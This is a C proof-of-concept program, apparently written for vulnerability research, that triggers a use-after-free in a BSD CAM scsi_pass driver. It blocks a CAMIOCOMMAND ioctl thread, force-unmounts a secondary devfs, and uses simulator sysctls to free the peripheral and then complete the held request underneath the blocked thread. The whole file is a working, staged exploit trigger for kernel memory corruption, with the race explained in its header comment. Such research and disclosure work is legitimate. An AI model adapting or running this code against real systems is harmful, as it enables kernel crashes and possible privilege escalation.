/*
 * DF-5499: scsi_pass.c passioctl() runs CAMIOCOMMAND with NO periph
 * reference while blocking in cam_periph_getccb()/cam_periph_ccbwait()
 * (lock dropped).  A forced devfs close (umount -f -> vflush FORCECLOSE
 * -> dev_dclose) drops the open's refcount to 0 while the ioctl thread
 * is still blocked inside passioctl; a concurrent AC_LOST_DEVICE
 * invalidation then frees periph+softc+path (camperiphfree) underneath
 * the blocked thread.  Completing the held CCB walks the freed
 * ccb->ccb_h.path and wakes the thread into the freed softc
 * (devstat_end_transaction) and freed periph (cam_periph_unlock)
 * -> use-after-free.
 *
 * Stage-driven so an external script can snapshot hw.passsim.stat
 * between phases: the program polls /tmp/poc.stage.
 *   0: open secondary-devfs pass device, arm hang, spawn blocked T1
 *   1: umount -f the secondary devfs (forced d_close under in-flight ioctl)
 *   2: sysctl hw.passsim.lost=1  (AC_LOST_DEVICE -> camperiphfree)
 *   3: sysctl hw.passsim.poison=1
 *   4: sysctl hw.passsim.complete=1 (xpt_done held CCB -> UAF)
 *
 * usage: poc5499 <passunit>
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <pthread.h>
#include <sys/sysctl.h>
#include <sys/mount.h>
#include <sys/param.h>
#include <sys/stat.h>

#include <bus/cam/cam.h>
#include <bus/cam/cam_ccb.h>
#include <bus/cam/scsi/scsi_message.h>
#include <bus/cam/scsi/scsi_all.h>
#include <bus/cam/scsi/scsi_pass.h>

static int fd;
static volatile int ioctl_started;
static const char *stage_file = "/tmp/poc.stage";

static int
sysctl_set(const char *name, int v)
{
	printf("[*] sysctl %s=%d\n", name, v);
	fflush(stdout);
	return sysctlbyname(name, NULL, NULL, &v, sizeof(v));
}

static int
read_stage(void)
{
	char buf[32];
	int n = open(stage_file, O_RDONLY);
	int v = -1;

	if (n >= 0) {
		ssize_t r = read(n, buf, sizeof(buf) - 1);
		if (r > 0) {
			buf[r] = '\0';
			v = atoi(buf);
		}
		close(n);
	}
	return (v);
}

static void
wait_stage(int want)
{
	while (read_stage() < want)
		usleep(50000);
}

static void
mark_ready(void)
{
	FILE *f = fopen("/tmp/poc.ready", "w");
	if (f) {
		fprintf(f, "ready\n");
		fclose(f);
	}
}

static void *
worker(void *arg)
{
	union ccb uccb;
	int rc;

	memset(&uccb, 0, sizeof(uccb));
	uccb.ccb_h.func_code = XPT_SCSI_IO;	/* queued -> getccb path */
	uccb.ccb_h.flags = CAM_DIR_NONE;
	uccb.ccb_h.retry_count = 1;
	uccb.ccb_h.timeout = 60 * 1000;		/* 60s */
	uccb.csio.tag_action = MSG_SIMPLE_Q_TAG;
	uccb.csio.cdb_len = 6;
	memset(&uccb.csio.cdb_io.cdb_bytes, 0, 16);	/* TEST UNIT READY */
	uccb.csio.dxfer_len = 0;

	printf("[T1] issuing CAMIOCOMMAND TUR (held by rig)\n");
	ioctl_started = 1;
	rc = ioctl(fd, CAMIOCOMMAND, &uccb);
	printf("[T1] ioctl returned rc=%d errno=%d status=%#x\n",
	    rc, errno, uccb.ccb_h.status);
	fflush(stdout);
	return (NULL);
}

int
main(int argc, char **argv)
{
	pthread_t th;
	char devpath[128];
	int unit, s;

	if (argc != 2) {
		fprintf(stderr, "usage: poc5499 <passunit>\n");
		return (1);
	}
	unit = atoi(argv[1]);
	unlink(stage_file);

	mkdir("/mnt/pw", 0700);
	if (mount("devfs", "/mnt/pw", 0, NULL) < 0 && errno != EBUSY) {
		printf("[-] mount devfs: %s\n", strerror(errno));
		return (1);
	}
	snprintf(devpath, sizeof(devpath), "/mnt/pw/pass%d", unit);
	printf("[*] DF-5499: opening %s (secondary devfs)\n", devpath);
	fd = open(devpath, O_RDWR);
	if (fd < 0) {
		printf("[-] open %s: %s\n", devpath, strerror(errno));
		return (1);
	}

	if (sysctl_set("hw.passsim.hang", 1) < 0)
		return (1);

	pthread_create(&th, NULL, worker, NULL);
	while (!ioctl_started)
		usleep(1000);
	sleep(1);	/* T1 now blocked in cam_periph_ccbwait, no periph ref */
	printf("[*] stage0 done: T1 blocked inside passioctl\n");
	mark_ready();

	wait_stage(1);
	printf("[*] stage1: umount -f /mnt/pw (forced d_close under "
	    "in-flight ioctl)\n");
	s = unmount("/mnt/pw", MNT_FORCE);
	printf("[*] stage1: unmount rc=%d errno=%d (%s)\n",
	    s, errno, strerror(errno));
	fflush(stdout);

	wait_stage(2);
	printf("[*] stage2: AC_LOST_DEVICE -> camperiphfree under T1\n");
	sysctl_set("hw.passsim.lost", 1);
	fflush(stdout);

	wait_stage(3);
	printf("[*] stage3: poison freed objects\n");
	sysctl_set("hw.passsim.poison", 1);
	fflush(stdout);

	wait_stage(4);
	printf("[*] stage4: complete held CCB -> UAF completion+wakeup\n");
	sysctl_set("hw.passsim.complete", 1);
	fflush(stdout);

	pthread_join(th, NULL);
	printf("[-] thread returned; no panic observed\n");
	return (0);
}
